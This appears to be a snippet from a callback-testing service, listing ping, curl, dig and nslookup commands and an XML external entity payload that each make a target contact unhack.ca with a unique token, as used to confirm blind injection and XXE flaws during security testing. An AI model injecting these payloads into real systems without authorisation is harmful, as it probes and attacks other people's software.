$ ping -c1 -p 00d3c6ecfcca876708496aa9b9bef000 unhack.ca
$ curl http://unhack.ca/p/d3c6ecfcca876708496aa9b9bef0
$ dig d3c6ecfcca876708496aa9b9bef0 @unhack.ca
$ dig d3c6ecfcca876708496aa9b9bef0.ns.unhack.ca
C:\> nslookup d3c6ecfcca876708496aa9b9bef0 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/d3c6ecfcca876708496aa9b9bef0">]> <foo>&xxe;</foo>